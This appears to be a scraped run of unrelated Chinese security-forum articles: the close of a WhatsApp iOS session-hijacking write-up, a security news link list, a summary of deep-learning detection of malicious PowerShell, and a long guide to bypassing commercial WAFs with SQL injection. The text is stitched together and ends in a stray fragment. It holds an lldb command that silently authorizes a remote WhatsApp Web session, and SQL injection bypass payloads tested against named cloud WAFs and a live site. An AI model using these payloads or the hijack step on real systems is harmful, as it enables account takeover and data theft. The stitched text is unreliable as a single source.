如果某些组织或个人经过逆向分析、补丁分析、payload构造、调试及测试后，终于实现了远程代码执行，那么就必须搞定读/写/执行原语（primitive）、充分利用信息泄露及运行时计算才能完成任务。
这个风险太大，攻击者可能不会去尝试。因此我们可以猜测，攻击者可能会针对WhatsApp的其他点进行攻击。
有没有其他快速、高效的方法能实现驻留呢？目标应用中有些代码路径会引用到应用逻辑中隐藏的代码执行功能，攻击者能否利用这些点在重启后维持驻留状态，并且能够远程监控WhatsApp目标账户的活动状态？
这方面仍然没有任何官方数据，与漏洞利用机制一样，这些内容都只能靠我们自己去猜测。
我认为完全符合官方描述的利用过程涉及到“WhatsApp Web”功能。
## 0x05 WhatsApp Web
WhatsApp有个非常受欢迎的web客户端功能：“WhatsApp
Web”。利用该功能，用户可以使用浏览器从世界各地连接到WhatsApp账户、发送和接受消息、创建群组、查看历史消息，整个操作与使用正常客户端一样。
为了利用这个远程登录功能，用户需要使用电脑访问[https://web.whatsapp.com](https://web.whatsapp.com/)，通过WhatsApp应用扫描网页上的二维码。
扫描二维码并完成挑战后，服务端会通过浏览器身份认证：
通过认证后，浏览器客户端就能读取每条消息、发送消息，整个过程就像使用设备上的应用一样：
现在我们要注意一点：在Android设备上，每接入一个账户，用户都能看到一个通知消息，如下所示：
然而在iOS上，WhatsApp客户端会更加静默（至少到目前为止）。如果远程web会话处于激活状态，或者有人劫持了WhatsApp会话，iOS用户并不会看到任何通知。如果我们想看是否有用户劫持当前账户，需要转到设置窗口：
WhatsApp Web：
然后我们就可以看到已连接的浏览器列表：
在iOS上我们看不到任何IP或标识符信息，只能看到浏览器的`User-Agent`信息。
因此，如果用户账户被远程劫持，在iOS设备上看不到任何通知。
此外，只要用户保持连接，WhatsApp Web就可以维持登录状态，即使目标设备重启也无法影响。
如果攻击者找到WhatsApp中的RCE漏洞，那么这个口看起来似乎是非常完美的目标。
## 0x06 演示
通过逆向身份认证过程，我发现攻击者可以调用目标设备上的某个函数来悄悄认证远程web会话：
-[WASettingsViewController qrCodeScannerViewController:didFinishWithCode: ]
该函数负责处理新web会话中包含的认证挑战。如果攻击者调用该函数，就能授权当前WhatsApp账户的远程会话连接。
我们可以在Xcode上模拟这个过程：
1、浏览[https://web.whatsapp.com](https://web.whatsapp.com/)，打开WhatsApp Web服务；
2、拷贝二维码挑战，将其转换成字符串；
3、在Xcode中，暂停WhatsApp，拷贝如下命令：
(lldb) po [[WASettingsViewController new] qrCodeScannerViewController:[WAWebClientQRCodeScannerViewController new] didFinishWithCode:@”PUT_TARGET_TOKEN_HERE” ]
4、大功告成，我们已经悄悄劫持了目标账户。
整个过程可参考[此处视频](https://youtu.be/hwihFtYbthU)，其中攻击者具备WhatsApp应用的远程代码执行权限（这里我们以调试会话来模拟这个攻击场景），然后利用该权限来执行客户端应用中的任意代码。这里攻击者劫持了客户端WhatsApp会话，并且用户没有得到任何通知。
## 0x07 总结
不论实际攻击场景是否与我们设想的场景一致，不论攻击是针对Anroid或者iOS平台，我们依然缺了不少信息。也就是说，我希望这篇文章能帮大家了解iOS上可能存在的攻击方法，理解其特点及局限性，更好理解如何在最新版的iOS设备上，在不影响设备状态的情况下，以最隐蔽的方式利用应用安全漏洞（如RCE）来完成跟踪任务。 | 社区文章 |
# 【知识】6月8日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
渗透技巧——程序的降权启动、WiMAX路由器中的OEM后门和认证绕过、针对西门子PLC蠕虫的实现、关于现代无线鼠标和键盘的安全性报告、浅析如何通过一个PPT传递恶意文件、如何通过fuzz找出更多的FFmpeg漏洞
**
**资讯类：**
* * *
黑山在加入北约之际遭受俄罗斯黑客攻击
<http://www.securityweek.com/russian-hackers-target-montenegro-country-joins-nato>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
通过打印机的秘密跟踪点查找泄漏文件
<http://www.bbc.com/future/story/20170607-why-printers-add-secret-tracking-dots>
CVE-2017-0213 Windows COM 特权提升漏洞组件
<https://xianzhi.aliyun.com/forum/read/1692.html>
CI框架下column注入
<http://www.wupco.cn/?p=3646>
TCTF 2017 FINAL WEB PARTIAL WRITEUP
<http://www.melodia.pw/?p=902>
渗透技巧——程序的降权启动
<https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/>
WiMAX路由器中的OEM后门和认证绕过
<http://blog.sec-consult.com/2017/06/ghosts-from-past-authentication-bypass.html>
三个案例看Nginx配置安全
<https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html>
GoFetch：一个自动执行BloodHound应用程序生成的攻击计划的工具
<https://github.com/GoFetchAD/GoFetch>
利用应用程序验证器进行hook函数和持久化
<http://blacksunhackers.club/2017/06/leveraging-application-verifier-for-function-hooking-and-persistence/>
BubbleUPNP（android上DLNA遥控客户端）默认可以访问所有的文件
<https://blog.tom-fitzhenry.me.uk/2017/06/bubbleupnp-serves-your-files-via-wifi-by-default.html>
Security Fest 2017 会议视频
<https://www.youtube.com/channel/UCByLDp7r7gHGoO7yYMYFeWQ>
针对西门子PLC蠕虫的实现
<https://xianzhi.aliyun.com/forum/read/1693.html>
浅析如何通过一个PPT传递恶意文件
<http://bobao.360.cn/learning/detail/3947.html>
FireEye发现针对全球法律和投资公司的网络钓鱼活动
<https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html>
构建你自己的AD实验室
<https://sethsec.blogspot.com/2017/06/pentest-home-lab-0x2-building-your-ad.html>
Cisco AnyConnect本地提权漏洞
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-anyconnect>
CVE-2016-10277：利用此漏洞可在Moto G4 & G5获取系统权限
<https://alephsecurity.com/2017/06/07/initroot-moto/>
通过fodhelper.exe 绕过uac
<https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/amp/>
如何通过fuzz找出更多的FFmpeg漏洞
<http://liveoverflow.libsyn.com/fuzzing-ffmpeg-paul-cher>
关于现代无线鼠标和键盘的安全性报告
<https://www.exploit-db.com/docs/42109.pdf>
Shellcode：x86优化第1部分
<https://modexp.wordpress.com/2017/06/07/x86-trix-one/> | 社区文章 |
微软是机器学习方法应用的先锋，已经将机器学习应用应用于情报、实时保护等方面。本文介绍一个如何用于自然语言处理的方法应用于检测恶意PowerShell脚本。
# 自然语言处理中的词嵌入
将词语（word）转化为向量（vector）的重要步骤之一就是机器学习算法。其中一个基本的方法就是one-hot
encoding，它对词汇表中的每个词都会分配一个唯一的数字，然后以0s向量的方式来表示每个词，1表示某个词的索引。虽然成功应用到很多例子中了，one-hot encoding也有它的缺点，就是每个词都是等距的，并且每个词之间的语义关系不会反映在相应向量之间的几何关系中。
因此就产生了Contextual embedding (上下文嵌入)方法，通过学习紧凑表示来克服one-hot
encoding方法的缺点。这种方法的假设是相似语境下单词的意思相近，整个学习是在Wikipedia这样的大型数据库中学习。Word2vec算法就是这种技术的一种应用，不仅能将单词的语义相近性转变成向量的几何关系中，也可以表示单词之间的极化关系。比如，
Madrid – Spain + Italy ≈ Rome
# PowerShell脚本的词嵌入
因为要训练好嵌入需要很大的数据量，研究人员使用了386k不同的未标记的PowerShell脚本。Word2vec
algorithm算法在应用于PowerShell语言时给出了类似的结果。为此，研究人员将PowerShell脚本分割为token，然后用Word2vec算法来为每个token分配向量化的表示。
图1是大约5000个随机选择的token的向量化表示的2唯视觉效果图。向量表示的`-eq,-ne,-gt`与PowerShell的`equal, not-equal,和greater than`对应。类似的，所有PowerShell中执行策略设置的有效值都是聚类表示的。
图1.使用Word2vec将5000个token 2D视觉表示
通过分析token的向量化表示，研究人员发现了一些有趣的关系。
## Token similarity相似度
通过使用token的Word2vec表示，研究人员识别了PowerShell中有别名的命令。在许多情况下，与给定命令最接近的token就是其别名。比如，Invoke-Expression的token表示就和别名IEX最接近。再比如，Invoke-WebRequest和IWR，Get-ChildItemcommand和GCI。
研究人员还分析了不同token的距离。比如，图2中右侧的4个token`$i, $j, $k 和
$true`。前3个用来表示数字变量，最后一个表示布尔常量。因此，`$true
token`与其他token不匹配，因此距离是最远的。PowerShell在网络安全应用中，研究人员检查了bypass, normal,
minimized, maximized,
hidden等的token表示，如图2左侧所示。第一个token是PowerShell的ExecutionPolicy
flag的合法值，剩下的是WindowStyle flag的合法值。因此，bypass的向量表示就是与其他4个token距离最远的。
图2. 部分token的3D视觉表示
## Linear Relationships线性关系
因为Word2vec保留了线性关系，计算向量表示的线性结合会产生一些语义上有意义的结果。比如下面的例子：
high – $false + $true ≈’ low
‘-eq’ – $false + $true ‘≈ ‘-neq’
DownloadFile – $destfile + $str ≈’ DownloadString ‘
Export-CSV’ – $csv + $html ‘≈ ‘ConvertTo-html’
‘Get-Process’-$processes+$services ‘≈ ‘Get-Service’
通过上面的表达式，`≈`表示右侧的向量是与左侧计算结果最接近的向量。
# 用深度学习检测恶意PowerShell脚本
研究人员用Word2vec嵌入了PowerShell语言的方法来训练深度学习模型以检测恶意PowerShell脚本。分类模型是用大量与clean或malicious相关标记的PowerShell脚本来进行训练和验证的，而嵌入使用未标记的数据来进行训练。如图3所示：
图3 模型生成过程概览
研究人员用微软Azure的GPU资源对深度学习和传统机器学习模型进行了实验。深度学习模型的最佳性能与传统机器学习方法相比提升了22个百分点。如图4所示的模型中融合了多个深度学习模块，比如CNN和LSTM-RNN。
图4 最佳执行模型的网络架构
# 实际应用
因为是第一次部署，性能最佳的深度学习模型检测到了许多恶意的和红队的PowerShell活动，其中一些甚至没有被其他方法发现。这表明可以将PowerShell和机器学习模型融合来检测网络攻击活动。
下面是深度学习检测到的，但是其他检测模型无法检测到的一些恶意PowerShell脚本示例：
图5. 严重混淆的恶意脚本
图6. 下载和运行payload的混淆的脚本
图7. 解密和执行恶意代码的脚本
<https://www.microsoft.com/security/blog/2019/09/03/deep-learning-rises-new-methods-for-detecting-malicious-powershell/> | 社区文章 |
Author:flystart
Team: ms509
Date:2020/5
# 前言：
WAF(Web Application
Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象中那么可怕。本文从SQL语法层面入手，以国内外主流
waf为研究测试对象，借助fuzz、逆向等各种技术手段，挖掘组合各种SQL功能语法，无视操作系统、中间件、计算机语言等差异硬杠WAF，欢迎私信交流。
# 正文：
WAF（Web Application
Firewall）的中文名称叫做“Web应用防火墙”，根据不同的分类方法可分为很多种，从产品形态上来划分主要分为三大类：硬件类（绿盟、天融信、安恒的硬件waf）、软件类(安全狗、云锁、ModSecurity等)、基于云的waf(阿里云、创宇盾等)。软件类waf和云waf是本文的主角。安全策略和规则可以说是waf的灵魂，我们所说的绕waf就是无视他的策略和规则达到攻击成功的目的。
## 老树：
这一部分是SQL语法功能技巧的总结，也是WAF绕过的基础。
### 注释：
| MySQL | Oracle | MSSQL
---|---|---|---
注释符 | /* _/、#、/_! _/、/_!50000xx*/、--、-- - 、--+ | \--、/**/ --%0a- |
\--、/**/、--%0a-
空白字符 | %09%0A%0B%0C%0D%20 | %00%09%0A%0B%0C%0D%20 | %00-%20
### 功能特性：
select **CHAR**
SQL 查询语句select后面可以接一些特殊字符，这些字符与select相结合可以达到绕过waf目的，除了select 语句之外
union\from等关键字前后也可以连接一些特殊字符，这些关键子前后就可以作为fuzz的点。
【+】号：
【-】号：
【@】号：
【！】号：
【‘】号：
【“】号：
【~】号：
【{】号：
当然除以上字符，也可结合注释符--、/*、空白字符等。
不仅仅mysql有这类的语法特性，mssql、oracle同样支持，这里就不一一介绍大家可以自行fuzz尝试
* Oracle11:
* MSSQL :
### 等价替换：
waf会对一些常见的攻击语句进行拦截，这个时候我们不一定非得正面硬杠，可以挖掘寻找一些生僻的具有相同功能的语句进行代替替换，这也是绕waf的常用手段。以下部分是对SQL查询表达式、函数等其他查询语句等价功能的一个总结，有些来自互联网，有些是自己的研究。
* **函数替换**
截取字符串是SQL注入利用技术里面的常用功能，通常使用mid(string,1,1)
**|substr(user() from 1 for 1);|**
**|replace(LPAD(user(),2,1),LPAD(user(),2-1,1),"");|**
**|LPAD(REVERSE(TRIM( lpad(user(),1,SPACE(1)) )),1,SPACE(1);|**
ascii(c)、ord(c) <=> conv(hex(c),16,10)
对于函数过滤的情况可以通过官方文档所有API函数，使用index.php?id=1 xor user()进行fuzz,以下是百度云 fuzz的结果
* **逗号过滤**
有时候逗号也会被waf拦截或过滤，可以通过不含引号的SQL语句代替
**case when 代替if**
**union select 1,2,3 <=>
union select * from (select 1)a join (select 2)b join (select 3)c**
**limit 2,1 <=>limit 1 offset 2**
* **比较表达式代替**
【=】
**if(abs(strcmp((ascii(mid(user()from(1)for(2)))),114))-1,1,0)**
**find_in_set()**
**regexp**
【<,>】
**least(ord('r'),115)、greatest(ord('r'),113)**
**between n and m**
## 核心：
这部分内容是本文的核心部分，在我看来是文章的灵魂吧，除了技巧方法外，还有一些思想指导，waf绕过技术不同于一般的技术思考方向至关重要，有些技巧大部分人可能都已经掌握了但真正给一款waf摆在面前，能突破防御的怕是少之有少。该技术是一个比较大比较复杂的范畴，参数污染、畸形请求包、chunk分割、编码解码等方法林林总总，这些都是老生常谈的东西适用一定的条件、场合，普适性不强，所以这方面内容本文不会涉及，我们要和waf这只老虎来个正面较量，相信会给大家带来惊喜和收益。
### 目标：
做任何事情都要有个目标，没有目标或目标不明确给你一身好装备和本事也难成事。SQL注入漏洞能利用成功的判断依据就是可以dump数据，对于后端DATABASE【SELECT
col FORM
table】用来查询数据的基本语句，该语句的成功执行是可以dump数据的必要条件，当然也是各个厂家安全产品重点照顾的对象，绕过对该语句的拦截自然就是我们的目标，平时进行绕过测试的时候也会关注【UNION
SELECT】、【ORDER BY】等语句，这些可以当成我们的次要目标，不是说他们的绕过不重要，而是不依靠这些语句仅仅通过【SELECT col FORM
table】照样可以dump数据，非必要充分条件吧，结合笔者经验和思考基本可以明确我们的目标：
1.主要目标：绕过【SELECT col FORM table】语句拦截
2.次要目标：绕过【UNION SELECT】语句拦截
### 战略：
SQL注入根据分类方法不同可分为不同的类型，从SQL注入漏洞利用角度来说，一般有五种注入利用方法，分别是报错注入、联合查询注入、布尔盲注、延时注入、堆查询注入。无论那种注入方式，利用payload都可以分为两部分构成，对应的利用语句（BOUNDARY）和基本查询(QUERY)比如报错注入语句：【updatexml(1,(select
concat(0x7e,user,0x7e) from mysql.user limit
1),1)】蓝色圈起来的报错语句就是BOUNDARY，红色圈起来的部分就是QUERY,也是我们需要绕过的主要目标。
尝试测试的时候，可以使用控制变量法进行测试，比如测试QUERY，可以把BOUNDARY填充为无害字符串，反过来也一样，最后再结合一起验证测试。
WAF有硬件WAF、软件WAF、基于云的WAF，根据WAF种类不同需要制定不同的测试方案。对于硬件WAF和基于云的WAF由于条件所限一般从业者接触不到只能从黑盒的角度进行测试，但是对于像安全狗、云锁之类的软件WAF，他的规则本身就集成在软件里面，那么就可以先利用逆向技术手段获取到防御规则进行白盒审计，之后再通过黑盒测试方法进行测试，以我多年的安全行业经验和观察，具备开发能力的安全从业者并不是太多，同时具备这两项能力的顶尖安全人员更是凤毛菱角何况都分散在在全国不同的公司，有理由相信之类软件的防护规则一定会有疏漏，再说绝对的安全并不存在也是业内共识，所以对于软件类的WAF能拿到规则就尽量获取到规则进行审计（这里透漏一下安全狗防护规则存在缺陷，原则上针对所有数据库的防护都可以绕过，笔者测试了MYSQL\ORACLE\MSSQL）。
对于【SELECT col FROM table】、【UNION
SELECT】语句，分别在每个关键字前后设置FUZZ位置进行绕过尝试，首先在本地FUZZ测试出能够正常执行的语句，然后提交到目标站点进行测试，有些时候可能本地FUZZ的那些payload都会被拦截，但结合注释、空白字符、括号、引号、别名等其他功能特性就可以绕过，而这一部分目前来看没有通用测试方法，只能针对某一特定的waf手动测试，测试的时候可以先忽视语法的正确性，确保整个语句结构能够绕过防护，例如【SELECT
col FROM table】语句的绕过测试，可以在SELECT、FROM
关键子前后填充任意字符，整个语句结构能够绕过之后，我们再想办法构造出正常可以执行的语句，这两个语句必有结构相似性，构造的正常SQL
语句很可能会被拦截也在情理之中，接下来就要使用增删法对结构不同部分进行增删处理，确定是某个字符或某个子结构触发了拦截，既然确定了黑字符和结构就需要寻找白字符进替换代替，这个过程可能需要来来回回的测试，花费时间数量级由测试者研究SQL语法熟练度和深浅度决定，其实也不是太难，以我对阿里云的绕过测试来看，从绕过【SELECT
col FROM
table】结构到构造出能够正常出数据的语句所花费的时间大概在三个小时左右，数量级还是可以接受，当然也有运气成分在里面，在对亚马逊云的测试过程中就遇到了很大的障碍，最后虽然通过别的绕过方法拿到目标站点的数据，但与本文所说的策略方法没有半点关系。
前面提到了在关键字前后填充字符，这里也讲求一个方法，不是说用你收集的tricks一一尝试，如此测试的话那几乎和FUZZ没有区别，而且很难达到目标，至于如何操作且听下文分解。
### 实战：
该小节依据上文战略思想，以真实案例来推演整个绕过过程。
目标：<https://su.baidu.com/>
1.本地FUZZ PAYLOAD
2.关键字前后填充字符测试
3.构造正确的绕过PAYLOAD
* **本地FUZZ PAYLOAD**
FUZZ 字符除了【0-255】全字符外，也可以添加自己收集的一些tricks进行FUZZ
{FUZZ}UNION SELECT fuzz的一些结果
* **关键字前后填充字符测试**
UNION SELECT 绕过尝试
id=1 xor xx **union select** xx 拦截
id=1 xor xx **union** xx **select** xx 不拦截
id=1 xor **union(select** 不拦截
id=1 xor **union(select)** 拦截
id=1 xor **union** dd **(select)** 不拦截
SELET FROM 绕过测试
id=1 xor s( **select** xx **from** xx) 拦截
id=1 xor s( **select** xx **from** b xx) 不拦截
id=1 xor s( **select** xx **from** xx)拦截
id=1 xor s( **select** @a **from** xx) 拦截
id=1 xor s( **select** @as **from** xx) 不拦截
通过以上测试把union select from 结合在一起并不拦截
<https://su.baidu.com/plan.html?id=1> xor union dd(select@ \Nfrom xx)
看来成功不远了，接下来构造出正确的SQL语句，发现会被拦截
* **构造正确的绕过PAYLOAD**
这一步就是构造一个既能绕过WAF防御也能正确执行的SQL PAYLOAD
首先在union前面添加我们fuzz的.1字符，不拦截，这就是一个完全绕过payload，百度云加速防护能力相对来说偏弱一些，绕过花费不了太多时间。
对于SQL注入漏洞利用，有些场合需要用到盲注，盲注当然离不开SQL
API的，里面一些常用的函数也会成为WAF照顾的对象，我们可以在函数名前后添加一些特殊字符或注释进行绕过
对于安全狗和云锁之类的软件，规则本身集成在软件里面，在具备一定的逆向能力的话可以优先考虑逆向获取到规则进行绕过。在安全狗逆向过程中发现可以利用HOOK
API获取规则而不需要完全逆向解密算法进行规则解密，正好大学时期研究过win32下的各种HOOK技术，翻出旧代码稍加修改改就能派上用场还是比较满意；云锁是用C#编写没有经过混淆，逆向算法非常简单各位师傅可以自行尝试。对这两种软件类WAF的规则进行审计发现实现都存在缺陷，对各种数据库类型的注入应该都可以绕过，篇幅所限不一一展开细说了，绕过payload参考后文。
## 新花：
这一小节是部分WAF绕过PAYLOAD，本来计划是完全分享，但是为了避免不必要的麻烦，删除了部分厂商的绕过PAYLOAD方法大致类似。每种绕过PAYLOAD里面都包含了多个tricks，这里不一一详解各位看官细细琢磨品尝。
### CloudFlare绕过：
使用MSSQL PAYLOAD进行测试
UNION SELECT 绕过
SELECT FROM 绕过
MYSQL 报错注入绕过
### 安全狗绕过：
### 云锁绕过：
### 阿里云绕过：
这里只公布部分BYPASS PATYLOAD，完整出数据的PAYLOAD暂不公布，感兴趣的可以根据文章中的思路和方法进行尝试，相信各位师傅也是可以做得到的。
## 利用：
做事情讲求个有始有终，在渗透一个目标的时候最终的要求当然是能够利用发现的漏洞拿到权限。假如目标站点存在一个SQL注入漏洞，但是由于WAF的存在漏洞利用并不能成功，经过研究现在看来WAF已经不是最大的障碍，不过距利用成功尚且有一段距离。
对于存在WAF场景下的SQL注入漏洞利用，要么单独编写脚本dump数据要么编写SQLMAP Tamper利用SQLMAP
dump数据，这两种方式都可以达到我们的目标，但是都有不好的弊端，对于经常打ctf的人来说感受应该更加明显。由于不同WAF的绕过PAYLOAD各不相同，所以单独编写脚本这种利用方式很明显通用性不强，其实里面的好多代码可以单独分离出来重复使用；对于简单的BYPASS
PAYLOAD，编写SQLMAP Tamper不是太难，而使用了SQL各种特性、trick的复杂BYPASS PAYLOD，编写SQLMAP Tamper
就显的过于复杂。出于以上原因笔者使用python编写了一款SQL注入漏洞利用工具，参数使用方法和SQLMAP基本相同，每种利用方法单独编写一个类，各个利用类的成员函数基本相同，整个PAYLOAD
由BOUDARY和QUERY两部分组成，成员函数get_payload调用tamper脚本里面的tamper函数对boundary和query单独处理，tamper脚本编写简单方便灵活。工具各个参数基本和SQLMAP相同，详细说明请参考开发文档。
Tamper样例：
工具tamper目录附带了安全狗和云锁绕过mysql tamper。
开发文档：
<https://github.com/ggg4566/SQLEXP>
<https://forum.90sec.com/t/topic/993>
# 结语：
以上大部分研究成果都产出于去年七八月份，在写本文的时候大部分payload任然有效，相信在不久的未来这些payload也会被加入黑名单，不过只要掌握了绕过思路和方法，写出你自己独有的绕过也是迟早的事情。本文花费了笔者大量的时间和精力，增删修改了多次，希望这篇文章不仅仅是一篇WAF绕过系列的专题文章，而是能够给大家带来研究学习的方向，比如软件WAF的逆向技术(C\C++\C#)、WIN32
HOOK技术、SQL功能特性的FUZZ和研究、SQL注入漏洞利用方法以及脚本自动化等，每一个方面都值得深入研究学习，有些内容大可不必花费笔墨。对于SQL的各种功能特性笔者并没有花费篇幅一一详解，一是有些功能特性笔者也搞不懂；二来篇幅有限同时觉得也没有必要，大部分功能特性tricks都融合在文中的payload里面，希望各位读者能够结合实际场景细细琢磨领会。笔者文笔粗浅，文章有所疏漏在所难免还请指正担待。
# 参考：
<https://xz.aliyun.com/t/368>
<https://klionsec.github.io/2017/07/31/bypasswaf-on-database/> | 社区文章 |
Subsets and Splits